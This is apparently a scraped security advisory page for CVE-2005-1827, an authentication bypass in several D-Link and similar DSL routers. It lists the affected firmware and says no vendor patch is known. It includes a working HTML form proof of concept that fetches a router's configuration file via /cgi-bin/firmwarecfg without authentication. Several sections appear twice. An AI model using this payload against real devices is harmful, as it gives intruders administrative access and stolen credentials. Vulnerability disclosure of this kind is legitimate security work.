D-Link DSL Router Remote Authentication Bypass Vulnerability
BID:13679
Info
D-Link DSL Router Remote Authentication Bypass Vulnerability
| Bugtraq ID: | 13679 |
| Class: | Access Validation Error |
| CVE: |
CVE-2005-1827 CVE-2005-1827 |
| Remote: | Yes |
| Local: | No |
| Published: | May 19 2005 12:00AM |
| Updated: | Dec 20 2011 12:19PM |
| Credit: | Francesco Orro <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
Punto ADSL Aethra Starbridge E-U ECI Telecom B-FOCuS Router 312+ ECI Telecom B-FOCuS MultiPort 342+ ECI Telecom B-FOCuS Combo 322+ D-Link DSL-G604T D-Link DSL-562T D-Link DSL-504T D-Link DSL-502T D-Link DSL-500T V1.00B02T02.RU.20050 |
| Not Vulnerable: | |
Discussion
D-Link DSL Router Remote Authentication Bypass Vulnerability
Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.
This vulnerability allows remote attackers to gain complete administrative access to affected devices.
Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014
Due to the common practice of code reuse, other devices are also likely affected by this issue.
Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.
This vulnerability allows remote attackers to gain complete administrative access to affected devices.
Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014
Due to the common practice of code reuse, other devices are also likely affected by this issue.
Exploit / POC
D-Link DSL Router Remote Authentication Bypass Vulnerability
An exploit is not required. The following HTML form example is sufficient to demonstrate this vulnerability:
<html><head>Download config.xml:<title>GetConfig - Config file
download</title></head><body>
<script lang="javascript">
function invia_richiesta()
{
document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
document.DownloadConfig.submit();
}
</script>
<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
<input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form></body></html>
An exploit is not required. The following HTML form example is sufficient to demonstrate this vulnerability:
<html><head>Download config.xml:<title>GetConfig - Config file
download</title></head><body>
<script lang="javascript">
function invia_richiesta()
{
document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
document.DownloadConfig.submit();
}
</script>
<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
<input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form></body></html>
Solution / Fix
D-Link DSL Router Remote Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
D-Link DSL Router Remote Authentication Bypass Vulnerability
References:
References:
- Vendor Homepage (D-Link)
- D-Link DSL routers authentication bypass (Francesco Orro